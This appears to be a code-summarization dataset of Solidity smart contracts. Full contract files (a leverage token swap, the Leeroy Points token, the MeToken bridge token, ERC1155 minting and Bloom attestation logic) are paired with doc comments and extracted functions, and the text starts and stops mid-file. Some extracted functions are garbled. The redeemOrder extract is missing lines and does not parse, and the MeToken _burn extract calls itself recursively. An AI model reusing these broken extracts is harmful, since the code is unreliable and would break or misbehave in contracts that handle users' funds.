quickly grow to cost more gas than the block limit to retrieve. so it can be viewed in chunks. E.g. for an array of x = [4, 5, 6, 7], x[1, 2] returns [5], the same as lists in Python startIdx [uint] The starting index from which to start getting the slice (inclusive) endIdx [uint] The ending index from which to start getting the slice (exclusive) return [bytes32[]] An array of all hashes/ Gets the total number of requests that have been made, hashed, and stored return [uint] The total number of hashed requests/ Gets a single hashed request id [uint] The id of the request, which is its index in the array return [bytes32] The sha3 hash of the request/// Bytes Helpers // Encode a request into bytes r [request] The request to be encoded return [bytes] The bytes array of the encoded request/// Executions // Execute a hashedReq. Calls the `target` with `callData`, then charges the user the fee, and gives it to the executor id [uint] The index of the request in `_hashedReqs` r [request] The full request struct that fully describes the request. Typically known by seeing the `HashedReqAdded` event emitted with `newReq` expectedGas [uint] The gas that the executor expects the execution to cost, known by simulating the the execution of this tx locally off-chain. This can be forwarded as part of the requested call such that the receiving contract knows how much gas the whole execution cost and can do something to compensate the exact amount (e.g. as part of a trade). Cannot be more than 10% above the measured gas cost by the end of execution return gasUsed [uint] The gas that was used as part of the execution. Used to know `expectedGas`/// Cancellations // Execute a hashedReq. Calls the `target` with `callData`, then charges the user the fee, and gives it to the executor id [uint] The index of the request in `_hashedReqs` r [request] The full request struct that fully describes the request. Typically known by seeing the `HashedReqAdded` event emitted with `newReq`/// Getters // File contracts/contracts/mocks/autonomy/interfaces/IPriceOracle.sol
|
interface IPriceOracle {
function getAUTOPerETH() external view returns (uint);
function getGasPriceFast() external view returns (uint);
}
| 14,145,847 |
pragma solidity ^0.5.0;
import "@openzeppelin/upgrades/contracts/Initializable.sol";
import "solidity-util/lib/Strings.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol";
import "../short-tokens/Abstract/InterfaceCashPool.sol";
import "../short-tokens/Abstract/InterfaceKYCVerifier.sol";
import "./Abstract/InterfaceCalculator.sol";
import "../short-tokens/Abstract/InterfaceERC20.sol";
import "../short-tokens/Abstract/InterfaceInverseToken.sol";
import "./Abstract/InterfaceStorageLeverage.sol";
import "../short-tokens/utils/Math.sol";
contract TokenSwapLeverage is Initializable, Ownable {
using Strings for string;
using SafeMath for uint256;
address public inverseToken;
InterfaceERC20 public erc20;
InterfaceKYCVerifier public kycVerifier;
InterfaceCashPool public cashPool;
InterfaceStorageLeverage public persistentStorage;
InterfaceCalculator public compositionCalculator;
event SuccessfulOrder(
string orderType,
address whitelistedAddress,
uint256 tokensGiven,
uint256 tokensRecieved,
address stablecoin,
uint256 price
);
event RebalanceEvent(
uint256 bestExecutionPrice,
uint256 markPrice,
uint256 notional,
uint256 tokenValue,
uint256 effectiveFundingRate
);
function initialize(
address _owner,
address _inverseToken,
address _cashPool,
address _storage,
address _compositionCalculator
) public initializer {
initialize(_owner);
require(
_owner != address(0) &&
_inverseToken != address(0) &&
_cashPool != address(0) &&
_storage != address(0) &&
_compositionCalculator != address(0),
"addresses cannot be zero"
);
inverseToken = _inverseToken;
cashPool = InterfaceCashPool(_cashPool);
persistentStorage = InterfaceStorageLeverage(_storage);
kycVerifier = InterfaceKYCVerifier(address(cashPool.kycVerifier()));
compositionCalculator = InterfaceCalculator(_compositionCalculator);
}
//////////////// Create + Redeem Order Request ////////////////
//////////////// Create: Recieve Inverse Token ////////////////
//////////////// Redeem: Recieve Stable Coin ////////////////
function createOrder(
bool success,
uint256 tokensGiven,
uint256 tokensRecieved,
uint256 mintingPrice,
address whitelistedAddress,
address stablecoin,
uint256 gasFee
) public onlyOwnerOrBridge() notPausedOrShutdown() returns (bool retVal) {
// Require is Whitelisted
require(
kycVerifier.isAddressWhitelisted(whitelistedAddress),
"only whitelisted address may place orders"
);
// Return Funds if Bridge Pass an Error
if (!success) {
transferTokenFromPool(
stablecoin,
whitelistedAddress,
normalizeStablecoin(tokensGiven, stablecoin)
);
return false;
}
// Check Tokens Recieved with Composition Calculator
uint256 _tokensRecieved = compositionCalculator.getTokensCreatedByCash(
mintingPrice,
tokensGiven,
gasFee
);
require(
_tokensRecieved == tokensRecieved,
"tokens created must equal tokens recieved"
);
// Save Order to Storage and Lock Funds for 1 Hour
persistentStorage.setOrderByUser(
whitelistedAddress,
"CREATE",
tokensGiven,
tokensRecieved,
mintingPrice,
0,
false
);
// Write Successful Order to Log
writeOrderResponse(
"CREATE",
whitelistedAddress,
tokensGiven,
tokensRecieved,
stablecoin,
mintingPrice
);
// Mint Tokens to Address
InterfaceInverseToken token = InterfaceInverseToken(inverseToken);
token.mintTokens(whitelistedAddress, tokensRecieved);
return true;
}
function redeemOrder(
bool success,
uint256 tokensGiven,
uint256 tokensRecieved,
uint256 burningPrice,
address whitelistedAddress,
address stablecoin,
uint256 gasFee,
uint256 elapsedTime
) public onlyOwnerOrBridge() notPausedOrShutdown() returns (bool retVal) {
// Require Whitelisted
require(
kycVerifier.isAddressWhitelisted(whitelistedAddress),
"only whitelisted address may place orders"
);
// Return Funds if Bridge Pass an Error
if (!success) {
transferTokenFromPool(
inverseToken,
whitelistedAddress,
tokensGiven
);
return false;
}
// Check Cash Recieved with Composition Calculator
uint256 _tokensRecieved = compositionCalculator.getCashCreatedByTokens(
burningPrice,
elapsedTime,
tokensGiven,
gasFee
);
require(
_tokensRecieved == tokensRecieved,
"cash redeemed must equal tokens recieved"
);
// Save To Storage
persistentStorage.setOrderByUser(
whitelistedAddress,
"REDEEM",
tokensGiven,
tokensRecieved,
burningPrice,
0,
false
);
// Redeem Stablecoin or Perform Delayed Settlement
redeemFunds(
tokensGiven,
tokensRecieved,
whitelistedAddress,
stablecoin,
burningPrice
);
// Burn Tokens to Address
InterfaceInverseToken token = InterfaceInverseToken(inverseToken);
token.burnTokens(address(cashPool), tokensGiven);
return true;
}
function writeOrderResponse(
string memory orderType,
address whiteListedAddress,
uint256 tokensGiven,
uint256 tokensRecieved,
address stablecoin,
uint256 price
) internal {
require(
tokensGiven != 0 && tokensRecieved != 0,
"amount must be greater than 0"
);
emit SuccessfulOrder(
orderType,
whiteListedAddress,
tokensGiven,
tokensRecieved,
stablecoin,
price
);
}
function settleDelayedFunds(
uint256 tokensToRedeem,
address whitelistedAddress,
address stablecoin
) public onlyOwnerOrBridge notPausedOrShutdown {
require(
kycVerifier.isAddressWhitelisted(whitelistedAddress),
"only whitelisted may redeem funds"
);
bool isSufficientFunds = isHotWalletSufficient(
tokensToRedeem,
stablecoin
);
require(
isSufficientFunds == true,
"not enough funds in the hot wallet"
);
uint256 tokensOutstanding = persistentStorage.delayedRedemptionsByUser(
whitelistedAddress
);
uint256 tokensRemaining = DSMath.sub(tokensOutstanding, tokensToRedeem);
persistentStorage.setDelayedRedemptionsByUser(
tokensRemaining,
whitelistedAddress
);
transferTokenFromPool(
stablecoin,
whitelistedAddress,
normalizeStablecoin(tokensToRedeem, stablecoin)
);
}
function redeemFunds(
uint256 tokensGiven,
uint256 tokensToRedeem,
address whitelistedAddress,
address stablecoin,
uint256 price
) internal {
bool isSufficientFunds = isHotWalletSufficient(
tokensToRedeem,
stablecoin
);
if (isSufficientFunds) {
transferTokenFromPool(
stablecoin,
whitelistedAddress,
normalizeStablecoin(tokensToRedeem, stablecoin)
);
writeOrderResponse(
"REDEEM",
whitelistedAddress,
tokensGiven,
tokensToRedeem,
stablecoin,
price
);
} else {
uint256 tokensOutstanding = persistentStorage
.delayedRedemptionsByUser(whitelistedAddress);
tokensOutstanding = DSMath.add(tokensOutstanding, tokensToRedeem);
persistentStorage.setDelayedRedemptionsByUser(
tokensOutstanding,
whitelistedAddress
);
writeOrderResponse(
"REDEEM_NO_SETTLEMENT",
whitelistedAddress,
tokensGiven,
tokensToRedeem,
stablecoin,
price
);
}
}
function isHotWalletSufficient(uint256 tokensToRedeem, address stablecoin)
internal
returns (bool)
{
InterfaceInverseToken _stablecoin = InterfaceInverseToken(stablecoin);
uint256 stablecoinBalance = _stablecoin.balanceOf(address(cashPool));
if (normalizeStablecoin(tokensToRedeem, stablecoin) > stablecoinBalance)
return false;
return true;
}
function normalizeStablecoin(uint256 stablecoinValue, address stablecoin)
internal
returns (uint256)
{
erc20 = InterfaceERC20(stablecoin);
uint256 exponent = 18 - erc20.decimals();
return stablecoinValue / 10**exponent; // 6 decimal stable coin = 10**12
}
//////////////// Daily Rebalance ////////////////
//////////////// Threshold Rebalance ////////////////
/**
* @dev Saves results of rebalance calculations in persistent storages
* @param _bestExecutionPrice The best execution price for rebalancing
* @param _markPrice The Mark Price
* @param _notional The new notional amount after rebalance
* @param _tokenValue The targetLeverage
* @param _effectiveFundingRate The effectiveFundingRate
*/
function rebalance(
uint256 _bestExecutionPrice,
uint256 _markPrice,
uint256 _notional,
uint256 _tokenValue,
uint256 _effectiveFundingRate
) public onlyOwnerOrBridge() notPausedOrShutdown() {
persistentStorage.setAccounting(
_bestExecutionPrice,
_markPrice,
_notional,
_tokenValue,
_effectiveFundingRate
);
emit RebalanceEvent(
_bestExecutionPrice,
_markPrice,
_notional,
_tokenValue,
_effectiveFundingRate
);
}
//////////////// Transfer Stablecoin Out of Pool ////////////////
//////////////// Transfer Stablecoin In of Pool ////////////////
//////////////// Transfer InverseToken Out of Pool ////////////////
//////////////// Transfer InverseToken In of Pool ////////////////
function transferTokenToPool(
address tokenContract,
address whiteListedAddress,
uint256 orderAmount
) internal returns (bool) {
// Check orderAmount <= availableAmount
// Transfer USDC to Stablecoin Cash Pool
return
cashPool.moveTokenToPool(
tokenContract,
whiteListedAddress,
orderAmount
);
}
function transferTokenFromPool(
address tokenContract,
address destinationAddress,
uint256 orderAmount
) internal returns (bool) {
// Check orderAmount <= availableAmount
// Transfer USDC to Destination Address
return
cashPool.moveTokenfromPool(
tokenContract,
destinationAddress,
orderAmount
);
}
function setCashPool(address _cashPool) public onlyOwner {
require(_cashPool != address(0), "adddress must not be empty");
cashPool = InterfaceCashPool(_cashPool);
}
function setStorage(address _storage) public onlyOwner {
require(_storage != address(0), "adddress must not be empty");
persistentStorage = InterfaceStorageLeverage(_storage);
}
function setKycVerfier(address _kycVerifier) public onlyOwner {
require(_kycVerifier != address(0), "adddress must not be empty");
kycVerifier = InterfaceKYCVerifier(_kycVerifier);
}
function setCalculator(address _calculator) public onlyOwner {
require(_calculator != address(0), "adddress must not be empty");
compositionCalculator = InterfaceCalculator(_calculator);
}
modifier onlyOwnerOrBridge() {
require(
isOwner() || _msgSender() == persistentStorage.bridge(),
"caller is not the owner or bridge"
);
_;
}
modifier notPausedOrShutdown() {
require(persistentStorage.isPaused() == false, "contract is paused");
require(
persistentStorage.isShutdown() == false,
"contract is shutdown"
);
_;
}
}
|
Require Whitelisted Return Funds if Bridge Pass an Error
|
function redeemOrder(
bool success,
uint256 tokensGiven,
uint256 tokensRecieved,
uint256 burningPrice,
address whitelistedAddress,
address stablecoin,
uint256 gasFee,
uint256 elapsedTime
) public onlyOwnerOrBridge() notPausedOrShutdown() returns (bool retVal) {
require(
kycVerifier.isAddressWhitelisted(whitelistedAddress),
"only whitelisted address may place orders"
);
if (!success) {
transferTokenFromPool(
inverseToken,
whitelistedAddress,
tokensGiven
);
return false;
}
burningPrice,
elapsedTime,
tokensGiven,
gasFee
);
require(
_tokensRecieved == tokensRecieved,
"cash redeemed must equal tokens recieved"
);
whitelistedAddress,
"REDEEM",
tokensGiven,
tokensRecieved,
burningPrice,
0,
false
);
tokensGiven,
tokensRecieved,
whitelistedAddress,
stablecoin,
burningPrice
);
token.burnTokens(address(cashPool), tokensGiven);
return true;
}
| 2,506,171 |
pragma solidity ^0.4.8;
contract SafeMath {
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
function safeAddCheck(uint256 x, uint256 y) internal returns(bool) {
uint256 z = x + y;
if ((z >= x) && (z >= y)) {
return true;
}
}
function safeMult(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/* ERC 20 token */
contract LeeroyPoints is Token, SafeMath {
address public owner;
mapping (address => bool) public controllers;
string public constant name = "Leeroy Points";
string public constant symbol = "LRP";
uint256 public constant decimals = 18;
string public version = "1.0";
uint256 public constant baseUnit = 1 * 10**decimals;
event CreateLRP(address indexed _to, uint256 _value);
function LeeroyPoints() {
owner = msg.sender;
}
modifier onlyOwner { if (msg.sender != owner) throw; _; }
modifier onlyController { if (controllers[msg.sender] == false) throw; _; }
function enableController(address controller) onlyOwner {
controllers[controller] = true;
}
function disableController(address controller) onlyOwner {
controllers[controller] = false;
}
function create(uint num, address targetAddress) onlyController {
uint points = safeMult(num, baseUnit);
// use bool instead of assert, controller can run indefinitely
// regardless of totalSupply
bool checked = safeAddCheck(totalSupply, points);
if (checked) {
totalSupply = totalSupply + points;
balances[targetAddress] += points;
CreateLRP(targetAddress, points);
}
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
|
use bool instead of assert, controller can run indefinitely regardless of totalSupply
|
function create(uint num, address targetAddress) onlyController {
uint points = safeMult(num, baseUnit);
bool checked = safeAddCheck(totalSupply, points);
if (checked) {
totalSupply = totalSupply + points;
balances[targetAddress] += points;
CreateLRP(targetAddress, points);
}
}
| 2,216,383 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract MeToken is ERC20("MeToken", "UME"), Ownable{ /* MeToken living on Ethereum*/
uint public _totalAtoms;
uint public _totalPoints;
mapping(address =>uint256) public _points;
constructor(){
_totalPoints = 10e18;
_totalAtoms = 10e18;
}
function atomsToPoints(uint atoms) public view returns (uint256) { // rounds up
return (atoms * _totalPoints + _totalAtoms - 1) / _totalAtoms;
}
function pointsToAtoms(uint points) public view returns (uint256) {// rounds down
return points * _totalAtoms / _totalPoints;
}
function _move(
address from,
address to,
uint256 amount
)
private
{
uint256 pointAmount = atomsToPoints(amount);// rounded up so the receiver gets *at least* the amount sent
uint256 fromBalance = _points[from];
require(fromBalance >= pointAmount, "ERC777: transfer amount exceeds balance");
_points[from] -= pointAmount;
_points[to] += pointAmount;
emit Transfer(from, to, amount);
}
function totalSupply() public view virtual override returns (uint256) {
return _totalAtoms;
}
function balanceOf(address tokenHolder) public view virtual override returns (uint256) {
return pointsToAtoms(_points[tokenHolder]);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual override {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_move(sender,recipient, amount);
emit Transfer(sender, recipient, amount);
}
// Initiated by our bridge servers at a regular time interval. access controlled
// Users first have to run `initiateTransferToEthereum()` from cosmos
function unlockOnEthereum(uint newTotalAtoms, address[] memory minters, uint[] memory mintAmounts) public onlyOwner {
_totalAtoms += newTotalAtoms;
for(uint i = 0 ; i < minters.length; i++){
_mint(minters[i], mintAmounts[i]);
}
emit UnlockOnEthereum(keccak256(abi.encode(newTotalAtoms, minters, mintAmounts)));
}
event UnlockOnEthereum(bytes32 digest);
function _mint(address account, uint256 amount) internal virtual override {
require(account != address(0), "ERC20: mint to the zero address");
uint newTotalAtoms = _totalAtoms + amount;
uint newTotalPoints = newTotalAtoms * _totalPoints / _totalAtoms;
uint points = newTotalPoints - _totalPoints;
_totalPoints = newTotalPoints;
_totalAtoms = newTotalAtoms;
_points[account] += points;
}
// Initiated by individual users at any time.
// After a waiting period, `unlockOnCosmos()` will be initiated by umee bridge servers.
function initiateTransferToCosmos(uint256 amount, bytes memory cosmosAddress) public { // user initiates
_burn(_msgSender(), amount);
emit InitiateTransferToCosmos(amount, cosmosAddress);
}
event InitiateTransferToCosmos(uint amount, bytes cosmosAddress);
// note: may be non-standard `_burn` because it changes `totalSupply`
function _burn(address account, uint256 amount) internal virtual override {
require(account != address(0), "ERC20: burn from the zero address");
uint256 fromBalance = pointsToAtoms(_points[account]);
require(fromBalance >= amount, "ERC777: burn amount exceeds balance");
uint newTotalAtoms = _totalAtoms - amount;
uint newTotalPoints = newTotalAtoms * _totalPoints / _totalAtoms;
uint points = _totalPoints - newTotalPoints;
_totalPoints = newTotalPoints;
_totalAtoms = newTotalAtoms;
_points[account] -= points;
}
}
|
note: may be non-standard `_burn` because it changes `totalSupply`
|
function _burn(address account, uint256 amount) internal virtual override {
require(account != address(0), "ERC20: burn from the zero address");
uint256 fromBalance = pointsToAtoms(_points[account]);
require(fromBalance >= amount, "ERC777: burn amount exceeds balance");
uint newTotalAtoms = _totalAtoms - amount;
uint newTotalPoints = newTotalAtoms * _totalPoints / _totalAtoms;
uint points = _totalPoints - newTotalPoints;
_totalPoints = newTotalPoints;
_totalAtoms = newTotalAtoms;
_points[account] -= points;
_burn(_msgSender(), amount);
}
| 5,345,802 |
./partial_match/1/0x4839945EbAb6E9b09d1F91D704Fa4542ed85229A/sources/King.sol
|
Creates `amount` tokens and assigns them to `account`, increasing the total supply. Emits a {Transfer} event with `from` set to the zero address. Requirements: - `account` cannot be the zero address./ Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
|
function _initmint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: yydsed to the zero address");
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
}
| 3,887,492 |
./full_match/1/0xa662dD7D7703980f38B803e1052d005F27097457/sources/contracts/shared/ERC1155.sol
|
xref:ROOT:erc1155.adocbatch-operations[Batched] version of {_mint}. Emits a {TransferBatch} event. Requirements: - `ids` and `amounts` must have the same length./
|
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_afterTokenTransfer(operator, address(0), to, ids, amounts, data);
}
| 3,042,128 |
pragma solidity 0.5.7;
import "./SigningLogic.sol";
import "./TokenEscrowMarketplace.sol";
import "./Initializable.sol";
/**
* @title AttestationLogic allows users to submit attestations given valid signatures
* @notice Attestation Logic Logic provides a public interface for Bloom and
* users to submit attestations.
*/
contract AttestationLogic is Initializable, SigningLogic{
TokenEscrowMarketplace public tokenEscrowMarketplace;
/**
* @notice AttestationLogic constructor sets the implementation address of all related contracts
* @param _tokenEscrowMarketplace Address of marketplace holding tokens which are
* released to attesters upon completion of a job
*/
constructor(
address _initializer,
TokenEscrowMarketplace _tokenEscrowMarketplace
) Initializable(_initializer) SigningLogic("Bloom Attestation Logic", "2", 1) public {
tokenEscrowMarketplace = _tokenEscrowMarketplace;
}
event TraitAttested(
address subject,
address attester,
address requester,
bytes32 dataHash
);
event AttestationRejected(address indexed attester, address indexed requester);
event AttestationRevoked(bytes32 link, address attester);
event TokenEscrowMarketplaceChanged(address oldTokenEscrowMarketplace, address newTokenEscrowMarketplace);
/**
* @notice Function for attester to submit attestation from their own account)
* @dev Wrapper for attestForUser using msg.sender
* @param _subject User this attestation is about
* @param _requester User requesting and paying for this attestation in BLT
* @param _reward Payment to attester from requester in BLT
* @param _requesterSig Signature authorizing payment from requester to attester
* @param _dataHash Hash of data being attested and nonce
* @param _requestNonce Nonce in sig signed by subject and requester so they can't be replayed
* @param _subjectSig Signed authorization from subject with attestation agreement
*/
function attest(
address _subject,
address _requester,
uint256 _reward,
bytes calldata _requesterSig,
bytes32 _dataHash,
bytes32 _requestNonce,
bytes calldata _subjectSig // Sig of subject with requester, attester, dataHash, requestNonce
) external {
attestForUser(
_subject,
msg.sender,
_requester,
_reward,
_requesterSig,
_dataHash,
_requestNonce,
_subjectSig
);
}
/**
* @notice Submit attestation for a user in order to pay the gas costs
* @dev Recover signer of delegation message. If attester matches delegation signature, add the attestation
* @param _subject user this attestation is about
* @param _attester user completing the attestation
* @param _requester user requesting this attestation be completed and paying for it in BLT
* @param _reward payment to attester from requester in BLT wei
* @param _requesterSig signature authorizing payment from requester to attester
* @param _dataHash hash of data being attested and nonce
* @param _requestNonce Nonce in sig signed by subject and requester so they can't be replayed
* @param _subjectSig signed authorization from subject with attestation agreement
* @param _delegationSig signature authorizing attestation on behalf of attester
*/
function attestFor(
address _subject,
address _attester,
address _requester,
uint256 _reward,
bytes calldata _requesterSig,
bytes32 _dataHash,
bytes32 _requestNonce,
bytes calldata _subjectSig, // Sig of subject with dataHash and requestNonce
bytes calldata _delegationSig
) external {
// Confirm attester address matches recovered address from signature
validateAttestForSig(_subject, _attester, _requester, _reward, _dataHash, _requestNonce, _delegationSig);
attestForUser(
_subject,
_attester,
_requester,
_reward,
_requesterSig,
_dataHash,
_requestNonce,
_subjectSig
);
}
/**
* @notice Perform attestation
* @dev Verify valid certainty level and user addresses
* @param _subject user this attestation is about
* @param _attester user completing the attestation
* @param _requester user requesting this attestation be completed and paying for it in BLT
* @param _reward payment to attester from requester in BLT wei
* @param _requesterSig signature authorizing payment from requester to attester
* @param _dataHash hash of data being attested and nonce
* @param _requestNonce Nonce in sig signed by subject and requester so they can't be replayed
* @param _subjectSig signed authorization from subject with attestation agreement
*/
function attestForUser(
address _subject,
address _attester,
address _requester,
uint256 _reward,
bytes memory _requesterSig,
bytes32 _dataHash,
bytes32 _requestNonce,
bytes memory _subjectSig
) private {
validateSubjectSig(
_subject,
_dataHash,
_requestNonce,
_subjectSig
);
emit TraitAttested(
_subject,
_attester,
_requester,
_dataHash
);
if (_reward > 0) {
tokenEscrowMarketplace.requestTokenPayment(_requester, _attester, _reward, _requestNonce, _requesterSig);
}
}
/**
* @notice Function for attester to reject an attestation and receive payment
* without associating the negative attestation with the subject's bloomId
* @param _requester User requesting and paying for this attestation in BLT
* @param _reward Payment to attester from requester in BLT
* @param _requestNonce Nonce in sig signed by requester so it can't be replayed
* @param _requesterSig Signature authorizing payment from requester to attester
*/
function contest(
address _requester,
uint256 _reward,
bytes32 _requestNonce,
bytes calldata _requesterSig
) external {
contestForUser(
msg.sender,
_requester,
_reward,
_requestNonce,
_requesterSig
);
}
/**
* @notice Function for attester to reject an attestation and receive payment
* without associating the negative attestation with the subject's bloomId
* Perform on behalf of attester to pay gas fees
* @param _requester User requesting and paying for this attestation in BLT
* @param _attester user completing the attestation
* @param _reward Payment to attester from requester in BLT
* @param _requestNonce Nonce in sig signed by requester so it can't be replayed
* @param _requesterSig Signature authorizing payment from requester to attester
*/
function contestFor(
address _attester,
address _requester,
uint256 _reward,
bytes32 _requestNonce,
bytes calldata _requesterSig,
bytes calldata _delegationSig
) external {
validateContestForSig(
_attester,
_requester,
_reward,
_requestNonce,
_delegationSig
);
contestForUser(
_attester,
_requester,
_reward,
_requestNonce,
_requesterSig
);
}
/**
* @notice Private function for attester to reject an attestation and receive payment
* without associating the negative attestation with the subject's bloomId
* @param _attester user completing the attestation
* @param _requester user requesting this attestation be completed and paying for it in BLT
* @param _reward payment to attester from requester in BLT wei
* @param _requestNonce Nonce in sig signed by requester so it can't be replayed
* @param _requesterSig signature authorizing payment from requester to attester
*/
function contestForUser(
address _attester,
address _requester,
uint256 _reward,
bytes32 _requestNonce,
bytes memory _requesterSig
) private {
if (_reward > 0) {
tokenEscrowMarketplace.requestTokenPayment(_requester, _attester, _reward, _requestNonce, _requesterSig);
}
emit AttestationRejected(_attester, _requester);
}
/**
* @notice Verify subject signature is valid
* @param _subject user this attestation is about
* @param _dataHash hash of data being attested and nonce
* param _requestNonce Nonce in sig signed by subject so it can't be replayed
* @param _subjectSig Signed authorization from subject with attestation agreement
*/
function validateSubjectSig(
address _subject,
bytes32 _dataHash,
bytes32 _requestNonce,
bytes memory _subjectSig
) private {
bytes32 _signatureDigest = generateRequestAttestationSchemaHash(_dataHash, _requestNonce);
require(_subject == recoverSigner(_signatureDigest, _subjectSig));
burnSignatureDigest(_signatureDigest, _subject);
}
/**
* @notice Verify attester delegation signature is valid
* @param _subject user this attestation is about
* @param _attester user completing the attestation
* @param _requester user requesting this attestation be completed and paying for it in BLT
* @param _reward payment to attester from requester in BLT wei
* @param _dataHash hash of data being attested and nonce
* @param _requestNonce nonce in sig signed by subject so it can't be replayed
* @param _delegationSig signature authorizing attestation on behalf of attester
*/
function validateAttestForSig(
address _subject,
address _attester,
address _requester,
uint256 _reward,
bytes32 _dataHash,
bytes32 _requestNonce,
bytes memory _delegationSig
) private {
bytes32 _delegationDigest = generateAttestForDelegationSchemaHash(_subject, _requester, _reward, _dataHash, _requestNonce);
require(_attester == recoverSigner(_delegationDigest, _delegationSig), 'Invalid AttestFor Signature');
burnSignatureDigest(_delegationDigest, _attester);
}
/**
* @notice Verify attester delegation signature is valid
* @param _attester user completing the attestation
* @param _requester user requesting this attestation be completed and paying for it in BLT
* @param _reward payment to attester from requester in BLT wei
* @param _requestNonce nonce referenced in TokenEscrowMarketplace so payment sig can't be replayed
* @param _delegationSig signature authorizing attestation on behalf of attester
*/
function validateContestForSig(
address _attester,
address _requester,
uint256 _reward,
bytes32 _requestNonce,
bytes memory _delegationSig
) private {
bytes32 _delegationDigest = generateContestForDelegationSchemaHash(_requester, _reward, _requestNonce);
require(_attester == recoverSigner(_delegationDigest, _delegationSig), 'Invalid ContestFor Signature');
burnSignatureDigest(_delegationDigest, _attester);
}
/**
* @notice Submit attestation completed prior to deployment of this contract
* @dev Gives initializer privileges to write attestations during the initialization period without signatures
* @param _requester user requesting this attestation be completed
* @param _attester user completing the attestation
* @param _subject user this attestation is about
* @param _dataHash hash of data being attested
*/
function migrateAttestation(
address _requester,
address _attester,
address _subject,
bytes32 _dataHash
) public onlyDuringInitialization {
emit TraitAttested(
_subject,
_attester,
_requester,
_dataHash
);
}
/**
* @notice Revoke an attestation
* @dev Link is included in dataHash and cannot be directly connected to a BloomID
* @param _link bytes string embedded in dataHash to link revocation
*/
function revokeAttestation(
bytes32 _link
) external {
revokeAttestationForUser(_link, msg.sender);
}
/**
* @notice Revoke an attestation
* @dev Link is included in dataHash and cannot be directly connected to a BloomID
* @param _link bytes string embedded in dataHash to link revocation
*/
function revokeAttestationFor(
address _sender,
bytes32 _link,
bytes32 _nonce,
bytes calldata _delegationSig
) external {
validateRevokeForSig(_sender, _link, _nonce, _delegationSig);
revokeAttestationForUser(_link, _sender);
}
/**
* @notice Verify revocation signature is valid
* @param _link bytes string embedded in dataHash to link revocation
* @param _sender user revoking attestation
* @param _delegationSig signature authorizing revocation on behalf of revoker
*/
function validateRevokeForSig(
address _sender,
bytes32 _link,
bytes32 _nonce,
bytes memory _delegationSig
) private {
bytes32 _delegationDigest = generateRevokeAttestationForDelegationSchemaHash(_link, _nonce);
require(_sender == recoverSigner(_delegationDigest, _delegationSig), 'Invalid RevokeFor Signature');
burnSignatureDigest(_delegationDigest, _sender);
}
/**
* @notice Revoke an attestation
* @dev Link is included in dataHash and cannot be directly connected to a BloomID
* @param _link bytes string embedded in dataHash to link revocation
* @param _sender address identify revoker
*/
function revokeAttestationForUser(
bytes32 _link,
address _sender
) private {
emit AttestationRevoked(_link, _sender);
}
/**
* @notice Set the implementation of the TokenEscrowMarketplace contract by setting a new address
* @dev Restricted to initializer
* @param _newTokenEscrowMarketplace Address of new SigningLogic implementation
*/
function setTokenEscrowMarketplace(TokenEscrowMarketplace _newTokenEscrowMarketplace) external onlyDuringInitialization {
address oldTokenEscrowMarketplace = address(tokenEscrowMarketplace);
tokenEscrowMarketplace = _newTokenEscrowMarketplace;
emit TokenEscrowMarketplaceChanged(oldTokenEscrowMarketplace, address(tokenEscrowMarketplace));
}
}
|
Set the implementation of the TokenEscrowMarketplace contract by setting a new address Restricted to initializer _newTokenEscrowMarketplace Address of new SigningLogic implementation/
|
function setTokenEscrowMarketplace(TokenEscrowMarketplace _newTokenEscrowMarketplace) external onlyDuringInitialization {
address oldTokenEscrowMarketplace = address(tokenEscrowMarketplace);
tokenEscrowMarketplace = _newTokenEscrowMarketplace;
emit TokenEscrowMarketplaceChanged(oldTokenEscrowMarketplace, address(tokenEscrowMarketplace));
}
| 5,431,470 |
// SPDX-License-Identifier: MIT
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "./tokens/interfaces/IChill.sol";
pragma solidity ^0.8.2;
interface NFTContract is IERC721, IERC721Enumerable {}
/**
* @author Astrid Fox
* @title Loopy Cups contract
